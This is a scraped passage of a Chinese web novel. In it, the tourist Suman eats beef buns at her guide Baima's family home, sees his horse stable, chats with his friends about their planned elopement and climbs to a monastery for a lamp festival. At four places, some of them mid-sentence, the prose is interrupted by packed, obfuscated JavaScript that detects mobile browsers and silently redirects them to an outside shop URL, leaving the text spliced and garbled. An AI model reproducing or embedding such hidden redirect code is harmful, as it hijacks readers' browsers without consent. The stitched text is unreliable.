“你那个马房的门都被马踢烂咯,找时间你也修一下嘛。” “知道了,妈妈。” 妈妈平时的主要工作就是去大舅舅家照顾奶奶。虽说大舅舅坐家,负责照顾奶奶,但是妈妈还是会每天过去,有时候舅母去牧场,妈妈就会在大舅舅家给奶奶做饭,陪她聊聊天。 奶奶已经九十岁了,腿脚还是很好,总是一副慈祥的样子,她每天在家就是晒着太阳念念经,每时每刻都不会歇下来。大舅舅家的小孩子们都围着奶奶长大。 他们也有“家有一老,如有一宝”的说法。奶奶健在,就是家族里所有人的幸福。 德西爸爸和那位大叔一直在研究着这匹宝马,听着白玛和妈妈的聊天,德西爸爸也加入了进来。 “你们家白玛厉害的很哦,又拉回一个母马,明年怕不是要生好几个了吧。” “哪有那么多,今年只生了三个,还有一个母马给他三舅舅去了。” 妈妈总是谦逊低调,独自带着三个孩子生活,她也没有高调的资本,她只是默默的教育着白玛,让他要争气,做一个有能力的好人。 “还有一个马没有生嘛。”白玛从马房里走出来,里面果然被妈妈打扫的干干净净。 “还没生?这都几月份咯!” “是嘛!应该快了。” 白玛这些天每天都要观察母马的□□,已经开始流乳汁了,这就是快要生了的症状。在小马出生前,母马就已经开始产乳,做好了哺乳的准备。 等大家看完了宝马,白玛将马牵进马房,给他们在马槽里倒上了青稞,再和上一些水,上面再放上几把草料。这就是高原上的马的主食了。 晚间吃饭的时候,白玛妈妈问白玛:“白玛,你最近忙着当向导索?” 白玛:“是呢,汉地那边来了个姐姐到这边旅游,她在网上找的我嘛。” 妈妈:“那你好好给人带嘛,带她多去一些地方嘛,不要浪费人家的钱哦。” 白玛:“知道啦,那个姐姐人很好的。” 妈妈:“她一天给你好多钱嘛?” 白玛:“一天五百块嘛!” 妈妈:“这么多?你收个二三百就够了嘛!” 白玛:“我也不晓得,我看网上都是这个价格嘛,我就也这么写的嘛。” 妈妈觉得白玛每天没做什么,只是带着苏曼到处走走,最多也就是一些油钱,根本没有付出过什么。这边的风景,对他们来说也不过是普通的一个去处而已,却要收人家那么多的向导费。 “那你明天请她来我们家吃饭嘛!” 愧疚的妈妈,想弥补一下,所以让白玛请苏曼到家里来吃饭。家里虽然寒酸,但是妈妈却从来没有在意过。 白玛犹豫了一下,他望着这个屋子,那些打的木柜子连个漆都没有涂,更别说像大舅舅家那样,用着上好的木头,还雕了花的。 “不用了吧......她不介意的。”白玛挠着头。 “她不介意,那是她的善良嘛,但是我们要介意,我们也要善良的嘛!” 妈妈随时在教育着白玛,在生活的点点滴滴里。 - 第二天一早,妈妈就去村子里找别人家买了一些牛肉,做起了草原上的牛肉包子。 这边的牛肉,不是随时都有的。因为信仰的关系,他们一年只宰一次牛。也就是说,为了满足人类的口腹之欲,他们一年只会消耗一条生命,这样就是最小的造业。 他们会将这头牛切割好,冷冻在一个大大的冰柜里,时不时的便取一些出来吃。 今年白玛家的牛肉是大舅舅家送的半扇牛,上半年已经吃的差不多了,下半年可能还要看谁家宰牛,妈妈计划再买个两三千块钱的牛肉才够。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591145|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当白玛说妈妈要请苏曼到家里做客的时候,苏曼其实是拒绝的,她早已失去了对家庭氛围的感受,以及亲密关系对她来说是一种负担。 她习惯了自己一个人。这种家庭式的关怀,她不知道该如何去应对。 “白玛,你妈妈太客气了。我......需要带什么礼物过去不?我也不懂你们这边的风俗。” 苏曼坐在白玛的车里,心里惴惴不安。 白玛舔着唇笑看着坐在副驾的苏曼,她果然是十分紧张。 “姐姐,不用,你要是买礼物去,我妈妈会不高兴的。她就是想感谢你给了我向导的工作嘛。” 虽然白玛这么说,但是苏曼还是觉得不行,按照汉地的规矩,上人家家里做客,是不能空手去的。 苏曼叫白玛把车停在了一个小卖部跟前,下了车。可是小卖部里却没有大礼盒或者水果篮一类的东西。 白玛叉着腰站在小卖部的门口,咧着嘴笑着说:“你看,我就说不用吧。” “哎呀,白玛你说嘛,我买点什么好。” 拗不过苏曼,白玛说:“那就拿一箱蓝牛吧。我们这边大人小孩都喜欢喝这个。” “行。” 苏曼大概知道了什么礼物适合他们,于是拿了一箱蓝牛,又加了一箱喜虎。因为高原的缘故,他们这边家家户户,大人孩子都爱喝这种功能性饮料。 白玛将两箱饮料搬到了车上,两人去往白玛的村子。 第二次来到这个村子,苏曼对这条路是熟悉的,甚至还记得那个扎西带她来买雪糕的小卖部。走到最里边,白玛指着一栋简陋的房子说:“姐姐,这就是我家。” 房子非常朴素,只有一层,但是却有一个奇大无比的院子。 听白玛说他们家的房子是妈妈盖了三次才盖起来的。老房子因为暴雨的缘故榻了,草原上的雨非常吓人,就像是砸在屋顶上一样,甚至还会夹杂着拳头样大小的冰雹。 那时候他还很小,只记得妈妈把他带到了另一个房间去睡觉。后来新盖的房子又榻了一次,最后才选了这个地方盖好。 有了房子,他们一家四口,才算是真正有了自己的家。 虽然房子简陋,但是他们一家却过的非常幸福。 中午弟弟从学校回来,妹妹在县上读书,只有周末的时候才会回家。 “白玛,你妈妈性格是怎么样的?”走到门口,苏曼更加紧张了。 白玛笑了笑,道:“我妈妈是这个村子里最善良,最通情理,也最随和的人。你想做什么便做什么,什么都不用担心。” 据说因为白玛妈妈的随和与善良,村子里的小娃娃们总是到他们家里来玩,甚至到了晚上都不想回家,要睡在白玛家里不肯回去。 苏曼忐忑的走进院子,“吱呀”的铁门被白玛关上。 白玛的弟弟降措跑了出来,红扑扑的脸蛋,害羞的笑着,他跑过来牵着白玛的手,嘴里喊着:“阿布阿布。” 白玛的妈妈出现在了门口,两条细细的辫子搭在胸前,一张暗红的十分沧桑的脸,与她的年龄非常不符。她也十分害羞的样子,双手交握着,笑着迎着苏曼,嘴里却好像不好意思说话。 “姐姐,我妈妈不会说汉话。” 19. 第19章 降措汉话到是讲的很好,听白玛说他的脑瓜子非常灵光,读书很厉害,经常在班上拿奖。在小朋友们之间,也是比较聪明的那一个。 白玛觉得弟弟降措才是他们家的希望。 白玛妈妈把苏曼迎到屋里,便开始围着炉子转了起来,将大大的牛肉包子一个个摆放在炉子的边缘上烤,又烧了一大壶奶茶,给苏曼倒上。 她一点架子都没有,就是一个普通的家庭妇女,服务着家里的每一个人。 “我跟妈妈说你可能喝不惯酥油茶,所以她给你做了奶茶,你试试,是不是能喝得惯我们这边的奶茶。” 苏曼端起杯子,喝了一口,奶茶是咸的。她对着白玛笑了笑,白玛领会了她的意思,摸了摸鼻子,也跟着笑了起来。 “阿妈,姐姐她喝不惯我们的奶茶。” 白玛妈妈在身前的围兜上擦擦手,笑着看着苏曼,露出了她那口不太好的牙齿。 她才四十多岁啊,牙齿已经坏掉了不少,不知是不是身体的缘故,听说她还经常会无缘无故的晕倒,似乎是一种高原病,因为身体缺氧,而导致的免疫力低下。 可是他们又无法在兰城买房子,无法搬到平原上去住。他们更加无法离开这片土地生存。 降措很聪明的冲到地板上,一屁股坐下,拆出了一瓶喜虎,递给苏曼。 苏曼拧开喜虎,喝了一口,同时不经意的扫了一眼这个屋子。 屋子很大,但是很空。里面除了墙上打的素木柜子,就是这几组长条桌和像炕一样的长条凳子,上面铺着一层垫子。客人来了便是坐在这样的长条凳子上。 这也是白玛夜间的床,他晚上会把被子搬出来,睡在这个长条凳子上,大约比普通的单人床还要窄一些。 厅的中间摆放着一个大大的烤炉,上头一根烟囱通向室外。炉子里烧的是牛粪,而牛粪都是他们自己从外面捡回来的。 旁边有一张坐面已经破烂了的皮沙发,看着像是从哪里捡回来的。 再就是地面上几张塑料小凳子,和墙边的地上摆放着的电饭煲和水壶什么的。 似乎没有一张像样的桌子,许多东西都摆放在地上。 苏曼不想用家徒四壁来形容这个家,因为她看到他们脸上的幸福和满足。她不知道他们在这样艰苦的环境下生活,会否觉得自己是艰苦,或许,他们认为生活本就如此。 他们也许会羡慕舅舅的“豪宅”,会羡慕县上的老板,盖的那些青顶红墙的三层宅子,但是他们又对自己的生活充满满足。对未来的欲望,他们会通过自己的双手去努力的争取。 苏曼理解白玛为何会舍得花那么多的钱买马,却不舍得给家里添置些什么了,因为他们的勤俭与对未来的敬畏,让他们觉得生活上的这些都不是必须的,但日子是需要往前走的。 白玛妈妈过来翻了翻炉子上的牛肉包子,牛肉包子的个头有她两个拳头那么大,苏曼想着大概吃一个就要饱了。 不一会儿白玛妈妈又端了一杯新的奶茶过来,笑着对苏曼示意,让她尝尝。 “妈妈说这个你应该能喝的惯。” 苏曼捧着热热的杯子,喝了一口,是甜的。 她的眼睛发胀,鼻子发酸,她羡慕白玛有这样好的一位妈妈。白玛妈妈细心、用心的爱着身边的人,她的眼里只有别人,总想着做些什么事让别人高兴、舒心。 她是一个奉献型的善良的女人。 苏曼眼里噙着隐约的泪花,转头对身旁的白玛说:“你妈妈真好。” 白玛抿起了嘴,他看到了那一点晶莹光亮的东西,他盯着眼前的炉子,心里有些难过。 苏曼看着白玛的侧脸,高高的鼻梁下面紧闭的唇,沉下来的他显得更加的成熟。 “白玛,你妈妈有没有说马买贵了?”苏曼想找些话题, 白玛转过头,语气变的很温柔:“没有呢,妈妈什么都随我,我做的决定她都支持的。” “嗯......真好。”苏曼又陷入了情绪当中,她好羡慕他。 “姐姐你也很好啊。妈妈说你善良,所以叫我请你来家里吃饭。” “嗯。” 苏曼的鼻子又是一阵发酸,她舔了舔嘴唇,将脸埋在奶茶杯子里,缓缓的又喝了一口。 白玛深呼一口气,站起身来:“走,姐姐,我带你去看看我们家的院子。” 屋里太压抑了,外面阳光正好。 苏曼放下杯子,随着白玛走了出去,降措搬来了一个小凳子,放在门口,自己坐下,和旁边栓着铁链的小黑狗玩了起来。 “那是小黑,我们家的狗。” “为什么要拴着啊?让它自由的玩不好吗?” 在城市里养的家狗,都不至于这样栓起来,而且还是用的粗重的铁链,况且白玛家,还有这么大的一个院子。 “哎哟!那可不行的,我家小黑很凶的,放开它的话,只要有人路过,它都要冲上去凶的。它还会自己跑出去的,万一咬了人就不好了。” 白玛睁着他的豆豆眼,笑盈盈的看着苏曼,她还当真不知道,高原上的狗有多厉害。 院子里有几颗小树,白玛说那都是妈妈种的。 “来,我带你看看我的马房,不过里面有些脏哦。” 白玛走在前面,宽宽的肩膀上窝着他的长发,向院子边的马房走去,他娴熟的拉开了马房的门栓。 “还好妈妈昨天清理过,不然我都不敢让你看我的马房了。”白玛张开嘴笑着,露出了他快要消失的稚气。 苏曼小心翼翼的跨了进去,里面有一股奇怪的味道,但是又不是臭味,就像炉子里烧的牛粪也不臭一样。 里面有一个个的矮墙,将它们分别隔开,每个小隔间里都有单独的食槽和一个不锈钢门。 她先是看见了昨天的黑马,然后又看了那匹大肚子母马。 “这么大肚子,快要生了吧?” 苏曼第一次看到怀孕的母马,觉得很神奇,它们是怎么把小母马生下来的。 “就这两天了,我也在等着呢。舅舅说会平安生下来的。” 白玛说的舅舅是出家的那位二舅舅,他替母马打了卦,说是会平安生下来的,叫白玛不要担心。 “对了,我给我三舅舅的那匹母马已经生了,你看。” 白玛掏出手机,打开了一段视频。那是母马生小马的视频,小马一股脑的一包被母马拉了出来,然后母马舔着帮小马撕开包衣,然后小马颤颤巍巍的站起来,这就是整个生产的过程。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591146|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然能想象到,但是看着视频,依然觉得很神奇。 “哇,小马好可爱。” “你喜欢马吗?”白玛看着苏曼,问的随意又认真。 “喜欢啊!马和牛,还有狗子,我都喜欢。它们是我认为的三种最善良的动物。” “嗯。” 降措跑来门口,喊他们回去吃饭,牛肉包子已经烤好了。 白玛将马房的门关好,降措给他在一个水桶里用勺子舀了一勺子水,一边给白玛倒出来,白玛一边对着勺子洗了下手。 苏曼看了下,院子里没有水井,也没有水龙头。他们还是靠储蓄水生活着。 白玛妈妈已经把烤好的牛肉包子装到了盘子里,手里还拿着一个不停的在翻面,不停的在吹着。 “还很烫,妈妈在给你吹凉它呢。” “啊?是给我的吗?”苏曼觉得很不好意思,“阿姨,给我我自己来吧。” “很烫的!”白玛故作认真的看着苏曼,顺便从他妈妈手里接过了牛肉包子,也开始在手上翻着面吹。 “我们这里过年的时候,或者家里来客人的时候,就会做牛肉包子。” 白玛伸出长腿,双肘架在腿上,不停的翻着那个牛肉包子。苏曼看着他,他就像是这个家里的家长,弟弟在一旁也拿起了一个在不停的吹着,又迫不及待的咬了一口。 牛油从包子里渗了出来,香的很。苏曼吃完了一整个,再喝上一口热腾腾的甜奶茶,感觉浑身都充满了能量。 高原上的食物热量大,可是他们这些小伙子,却一个个都精瘦精瘦的。 白玛妈妈在一旁乐呵呵的看着苏曼,又问白玛要不要给苏曼拿一些干的冬虫夏草带回去吃,补补身子。 “妈妈说你太瘦了,要多吃点,冬虫夏草要不要?我们今年夏天刚挖的,很多大老板都专门买来煲汤喝呢!” 冬虫夏草当然是好东西,但是苏曼也知道这是他们这些妇女们每年的经济来源。 男人们可以养马,但是女人们除了放牧,就是一年一次的上山挖虫草。 上山挖虫草比放牧还要艰苦。 早上五六点钟就要出发,沿着平均四千海拔的山脉一直走。 找虫草的时候,需要一直跪着,趴在地上,瞪着眼睛匍在地面,一丝不苟的寻找那颗露出来的小小的草尖,再用一把小小的锹子插入根部将整颗虫草连带着泥土一起挖出来,最后精心装进一个垫着干燥纸巾的小盒子里,再虔诚的放进背包。 即便是膝盖上包着厚厚的护膝,都无法阻挡山上寒冻的地面。遇上下雪过后,地面更是潮湿,趴在地上找虫草,膝盖和肘部都需要做好防水。挖虫草,是特别耗身体和眼睛的一件事情。 苏曼连忙拒绝:“不用不用,这太贵重了,你们还是拿去卖了吧。你妈妈挖虫草本身就很辛苦。” 苏曼想到了白玛送给他的那颗绿松石吊坠,他们不讲钱,只讲感情。 但她还是不能要。 “妈妈今年身体好多了。去年上山的时候,挖了一天就晕倒了,然后是大舅舅连夜骑着摩托车给她送下山去医院吸氧的。” 原来高原人,也会缺氧。 那时的白玛一定特别紧张和害怕吧。他唯一的妈妈如此爱他。 20. 第20章 走的时候,白玛妈妈给苏曼拿了一个崭新的口罩,高原上的阳光烈,除了帽子,口罩或面罩也是他们一年四季的必须品。 “白玛,你妈妈真好。” “是啊,我妈妈是村子里最好的女人。” 苏曼很想问他妈妈为什么不选择再婚,或许能帮着这个家减轻一些负担。但她还是问不出口,草原上的婚姻和爱情,她还是没有搞懂。 “姐姐,我带你去找扎西吧。他和次旦在牧场。我们这边说是旅游圣地,但是除了草原就是神山,也没有什么更多好玩的地方了。不过还有一个科尔寺,你想不想去看?你要是想去的话,我们明天可以去,正好明天是正月十五,有一个很大的燃灯活动。” “好啊。去吧。没事,我也不是为了追景点来的,我只是想过来看看草原,放松一下心情,这样就挺好。” “嗯。” 巴龙县更远的地方还有一座冰川,但是要攀到四千海拔以上的地方,路也比较危险,白玛还没想好要不要带苏曼去。 白玛妈妈站在院门口,叮嘱苏曼一定要带上口罩,抓紧白玛的衣服,别摔了下来,又千叮咛万嘱咐叫白玛开慢一点。 她牵着降措的小手,阳光洒在她沧桑的脸上,这才是苏曼心目中真正的母亲的形象。 白玛的父亲是不是也是这样,也会有同样一张沧桑的脸,但是没有凶狠,只有慈祥。 苏曼觉得这个破旧的屋子,被金灿的阳光笼罩着,有一种安详的神圣。有一瞬间,她也想要过这样的生活。 “妈妈叫你抓好我的衣服,别摔了。” 白玛回过头,叮嘱苏曼。 他们已经更加熟悉,苏曼也再没有了亲近的紧张,就好像白玛是一个可以信任与依靠的人,他不会伤害她。 白玛拧开油门,准备出发,小降措又跑进屋子,拿了两瓶喜虎递给苏曼:“姐姐,妈妈说给你们带着喝。” “啊,好的,谢谢谢谢。” 苏曼又看了一眼白玛妈妈,她就是那么普通的一个妇女。 - 苏曼抓着白玛的衣服,他的衣服被风吹的鼓了起来,还有他的长发在一阵一阵的飘着。今天的牛肉包子午餐很好吃,白玛的家很温馨,苏曼很喜欢。 扎西在牧场陪着次旦呆了半天,有些无聊,便催着白玛赶紧带姐姐过来一起玩。 次旦对苏曼不再有敌意,而是热情的给苏曼腾出了一个好位置。大大的地垫铺在帐篷前的草地上,苏曼也蜷着腿坐了进去。 “姐姐,你想吃啥子随便挑,扎西今天带了好多好吃的来了。” 次旦招呼着苏曼,站在一旁的白玛用牙咬开一颗糖,包进嘴里,一边呵呵的笑着,他替苏曼挡着阳光,光影从他的腿间钻了过来,打在了地垫上。 “你坐下嘛,你也一起来吃嘛。”苏曼拉着白玛的裤腿,叫他一起。 白玛乖乖的,也蜷着他的长腿坐在了苏曼的身边,似乎有白玛在身边,苏曼心里就觉得踏实了。 白玛扒了扒袋子里的食物,还是辣条、火腿肠那些,还有一些辣鸡皮、鸡爪什么的。他知道这些都不是苏曼喜欢的。 “下次买点巧克力嘛!”白玛舔了舔嘴唇上的糖渍,望着扎西道, “巧克力贵啊。一口就没了。次旦喜欢吃鸡爪子,就给她啃鸡爪子就行了嘛,慢慢啃,多有味道的。” 也是,在这枯燥的牧场上,大部分时间都是泡一包方便面,再加一根火腿肠,最多再撕一小包辣条,这就是他们的正餐了。 若是能有一包辣鸡爪或者辣鸡翅,那就是相当的舒坦了,吃起来也会有滋有味很多。 “扎西,你们两个怎么样了嘛,啥时候结婚?”白玛问扎西, “她爸爸不同意嘛,我有什么办法。” 次旦撇了一眼扎西:“我阿爸说扎西是街溜子嘛,就是不喜欢他的。” 扎西急了,跪着站了起来:“什么街溜子,主要还是我家没有牛,也没有马,你爸看不上我们家嘛。” “那你怎么想的嘛?”白玛又问次旦, 犀利的次旦此时竟然害羞了起来。苏曼一头雾水,她实在是搞不懂他们什么时候热烈,什么时候害羞。 “次旦肯定是听我的嘛。我们两个好着呢嘛。” 扎西替次旦回答,他在次旦面前虽然总是卑微的贱贱的样子,但是他们两个之间,竟然扎西是做主的那个人。 “那你们以后打算怎么办呢?”苏曼好奇的问, 扎西狡黠一笑:“那还能怎么办,先去兰城住几个月再说。次旦家里没有人放牧了,肯定会着急的嘛。” “私奔?”苏曼知道这个意思就是私奔。 “对啊。我们这边就是这样子的嘛,要么就私奔,要么就分手嘛。” 白玛半蹲着腿,嘴里啃着辣条,就像是一个旁观者,他从来没忧虑过这些事情,因为白玛妈妈说过:钱没有人重要。 他慢悠悠的问道:“那你们好久走嘛?” “过两天吧。我先找兄弟借点钱。对了白玛,你可要借我一点,我的幸福就靠你了。” “哎哟,借你两千够不够嘛?” “两千哪够啊?你借我五千嘛!我那个小红先不买了。” 白玛拿着一根火腿肠敲了一记扎西的脑袋,道: “你那个小红的钱又不是你的钱,你还不是找你阿爸要,你哪有钱买马。” 说了半天,扎西跟白玛买小红,实际是他爸爸花钱买,只不过马是他相中的。当然,白玛的马,他爸爸肯定是愿意花钱买的。 而扎西,兜里空的很。 但是却还要带着次旦去兰城私奔。借钱私奔。 这样的未来,基石是什么? 是扎西嫁到次旦家,次旦家的那一百多头牛?还是次旦带着二十头牛嫁给扎西? 或许,他们的爱情,不需要基石。 “白玛,你也可以开始谈朋友了嘛!挣那么多钱做啥子哦。连个女朋友都没得。” 次旦俨然一副已经嫁给扎西的大嫂模样,开始对白玛说教。 其实在苏曼眼里,白玛比他们两个成熟多了。 “哎哟,你看姐姐都不着急谈,我着啥子急。” 苏曼愣愣的转过头,白玛怎么说到她的头上了。 白玛意味深长的看着她,他十分想知道为什么苏曼这么年轻,就坚决的做了自己后半生要孤独终老的决定。 “白玛,你可别扯我,我们不一样呢。” “有什么不一样呢?姐姐。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592992|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏曼没有说,只是给了他一个不想理的眼神。 扎西着急的催促道:“白玛,你快去,去县上给我取钱嘛。” 白玛瞪着扎西:“你咋这么着急嘛?你是明天就要走吗?” “哎呀,早做准备嘛,谁知道明天会发生什么。” 草原上的人经常说的一句话就是:明天不知道自己是不是还活着。 生命无常,也可以用到任何事情上来,万事万物都是无常的,谁知道明天会发生什么。 白玛站了起来,拍了拍屁股,苏曼抬头仰看着他:“不用我陪你去吧?” “不用不用,让他自己去,骑车去很快的。再不去一会儿银行都要下班了。”扎西又在催促着白玛。 白玛摸了摸口袋,钱包带在身上,钱包里有他唯一的一张银行卡。 这个县上,只有一家国有银行。在他去年刚满十八岁的时候,一拿到身份证,就去了这家银行,办了属于自己的银行卡。 以往没有自己的身份证和银行卡,做起生意来确实很不方便,至今他社交平台上绑定的身份证和收款账户还是他妈妈的。而且,他现在用的手机号也还是他大舅舅的名字。 白玛跨上摩托车,轰着油门,开出了一大片的草地,再上了公路,朝着县城奔去。 白玛走了,苏曼心里有些空落落的,她开始变得不知道和扎西次旦该聊些什么了。 气氛似乎要变得窘迫,还是扎西机灵,又开始整活了。 “姐姐,你是不是不喜欢男孩子啊?” 苏曼想了想:“嗯......你也可以这样理解。” 她只是不信任男人,从小在父亲的阴影下,她对男人产生了莫大的惧怕,可能这是一种心理疾病。 所以扎西说,她不喜欢男孩子或者男人,从某种层面上来讲,也是对的。 “啊?那姐姐你不会是喜欢女孩子吧?我在网上刷到过好多那种的。” 苏曼噗嗤一笑,次旦敲打了一下扎西:“你莫乱讲,我看姐姐不是那种的。” “对,我没有喜欢女孩子。哈哈。” 你看,扎西一出手,气氛就会变的好起来。 “那你就是纯粹对谈恋爱不感兴趣?”扎西有着聪明的脑瓜子,和强烈的好奇心。 “对。” “哎呀!那太可惜了。你应该试试的。” 爱情的美好,扎西也说不出来,他只能深情的看着次旦,轻轻的靠在次旦的身上,两个人的心意就那么相通在一起了。 这种就是爱情的美好。 苏曼深吸一口气,擦了擦嘴,站了起来:“我逛逛哈!” 下午的阳光还很舒服,冷风还未起。苏曼望着这广阔天地,望着低头吃草的牛,在小世界里的它们,和在大世界里的我们,又有什么不同。 扎西和次旦要准备私奔了,他们也在努力的活着,按自己的意愿活着。 每个人都在按自己的意愿活着吗?白玛妈妈是不是?白玛是不是?他们肯定是的,因为他们活的很幸福满足。 那苏曼呢?她现在的生活,到底是不是自己真正想要的?或者说,她幸不幸福? 白玛骑着车子歪歪扭扭的回来了,他的身子,在被小草垛颠起的摩托车上,一跳一跳的。 21. 第21章 正月十五,科尔寺举办夏季燃灯节,巴龙县除了一年一度的赛马节能聚集那么多的父老乡亲外,其次就是科尔寺每次举办的法会了。 这是一个有信仰的民族。 苏曼也有同样的信仰,但是却又有不同。信仰也有各地“规矩”的不同之说。 燃灯节,或者说燃灯法会,苏曼曾经也参加过类似的,但是在高原上的还是第一次参加。 科尔寺就在县城旁边的小山腰上,从县城步行过去都不算太远。这是巴龙县最大的一个寺庙,也是香火最旺的一个。 白玛带着苏曼缓缓的走在上坡的路上,苏曼开始有些喘了。科尔寺看着很近,走起来却感觉很远。 “天菩萨,我还是第一次这么爬坡,原来这么难。” 苏曼佝着身子,叉着腰,走两步就要停下来歇一歇。 之前每次都是坐在白玛的摩托车后座上,去哪里都不费劲,原来在高原上一个小小的上升步行,都这么耗费体力。 她想到了白玛的妈妈,在挖虫草的时候,沿着山脉上升,对本就身体不好的她来说,该是多大的挑战。 好在,她没有要她的虫草,那是人家用命赚回来的珍贵财富。 白玛慢慢的陪着苏曼,笑呵呵的看着她,给她拉开一罐蓝牛:“姐姐,你喝这个,喝了这个你就有力气了。” 苏曼接过蓝牛,大大的喝了一口,白玛又接过去,帮她拿着。 蓝牛比喜虎劲大,但是价格贵,没有瓶盖又携带不方便,所以他们大多数都还是喜欢买喜虎。今天白玛特意给苏曼带了两罐蓝牛。 苏曼的包包在白玛身上背着,他开始倒退着慢悠悠的走,看着前面走不动的苏曼,笑的直舔嘴唇。 “姐姐,早知道我们就骑摩托车上来了。” “没事,这么近的路,还是自己走比较虔诚一些。” 苏曼觉得自己可以战胜这些路,科尔寺就在眼前。 旁边不停走过摇着转经筒的老人或妇女,还有小孩,他们都是大包小包的背着。看着人家轻轻松松的走过,越走越远,苏曼真是羡慕。 “要不我拉着你走吧?”白玛提议。 “啊?拉着?” 苏曼瞪着眼睛看着白玛,眨巴着眼睛在思考白玛说的“拉着”该不会是拉着手吧?她可从来没跟任何男人拉过手。 白玛走到苏曼面前,背过身去:“你拉着包包的带子,跟着我走就行了。” “噢......”苏曼放下心来,乖乖的拉着白玛身上的包带子,被白玛扯着就往山上走去,果然轻松了许多,只需要捣动她的腿就行了,一点都不费力气了。 白玛也不敢走的太快,但是至少比刚才走两步歇两步要快很多了。 这一行为,甚至还引来了路人含蓄的笑,这一看就是个汉族姑娘,走不动了。 “白玛,他们包包里背的都是什么啊?鼓鼓囊囊的,我们什么也没背啊!是不是也要带点什么去啊?” 苏曼开始关心起法会的事情来。 “哦,他们背的都是酥油啊,吃的喝的啊,拿去供的。你看他们手上提的那个暖壶没有?那里面都是酥油,点灯用的。” “啊,那我们什么也没买啊。空着手去不太好吧。” 自己都走不动的苏曼,若是提上东西,那她更加走不动了。白玛也没有提前跟她说,她也没有细想,按说来寺庙参加法会,是要带些供品来的。 在汉地,多数都是供养一些钱财即可,然后有专门的人去集中采购,而这里,都是他们自带。 “没事的,你就来看看嘛。然后里面也可以买灯的。酥油灯,你知道不?小小的一个那个。” “啊,知道知道。” 苏曼放下心来。就是嘛,寺庙里面肯定是有的买的。价钱贵些也无妨,难得过来一趟。 白玛顺着走两步,又倒着走两步,看看身后的苏曼喘成什么样了,在高原美好的阳光下,苏曼的脸也开始有些深了,她那个帽子,也未能抵挡住高原的烈日。 “姐姐,你黑了一点了。”白玛抿着嘴笑,看着苏曼。 苏曼抬眼看了一眼白玛:“黑就黑吧,反正回去就白回来了。到是你,永远都白不回来。” 苏曼也开始打趣白玛,白玛的皮肤被阳光晒的黑黝黝的,但是却很均匀,透着细细的光泽,包裹在他那张立体分明的脸上,加上他高耸的鼻梁,让他看上去特别的硬汉。 “白玛!你在你们这边算不算帅哥啊?”苏曼看着他那张俊毅的脸,十分好奇。 “啊?哈哈!算吧。还好吧。就不丑,哈哈!”白玛不好意思了起来。 他怎么不算呢!就他这个身高就已经秒了许多人了,再加上他的骑术和硬汉风,不知道迷倒多少女孩子了。 只是他有个弱点,就是嘴巴没有扎西甜,套路没有扎西深,女孩子毕竟还是喜欢这一套的。再加上他跟次仁一样,心思都在马上了,白玛对男女之事可以说还完全没有开窍。 “那姐姐你呢?你在你们那边算不算美女嘛?” 苏曼到没有不好意思:“算啊!我从小到大都是被人夸漂亮的。” “我就说嘛,他们都说你是漂亮姐姐。” “哈?你自己看不出来吗?” 白玛怎么还需要听别人评价她漂亮,才觉得她漂亮,苏曼感到惊奇。 “不是不是。我是觉得姐姐漂亮的。就是跟我们这边不一样嘛,所以才好奇你们那边是怎么样的。” 白玛说的是审美的事。高原上的审美和汉地的审美不同,但是长相周正应该都是一样的标准。 不过,高原上似乎更加在乎“气质”,就是一个人的“狠劲”“跩劲”,他们崇尚原始的力量。 大概走了二十来分钟就走到了科尔寺的大门口,门口有一个斜坡式的小小停车场,有一些大的越野车停在那边,挂着外地车牌,应该也是来这边自驾游的。 门口许多人,不停的往里进,往外出。都是当地人,男女老少全家都来的也不少。 “今天扎西他们估计也会来。”白玛领着苏曼往里进, “是吗?是不是基本上大家都会来啊?只是来的时间不同。” “对的。姐姐,走左边,不要踩门槛。”白玛指引着苏曼。 “哦,好的。”苏曼开始双手合十,但是发现大家好像都没有,都是很自然的进出。 走进里面才豁然开朗,寺庙前面有一个超级大的院子,院子里的地面上摆满了酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628180|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油灯,不知道有没有几千几万个那么多,很是壮观。但是都还没有点燃。 “这个灯最后会一次性点上对吧?”苏曼问着白玛, 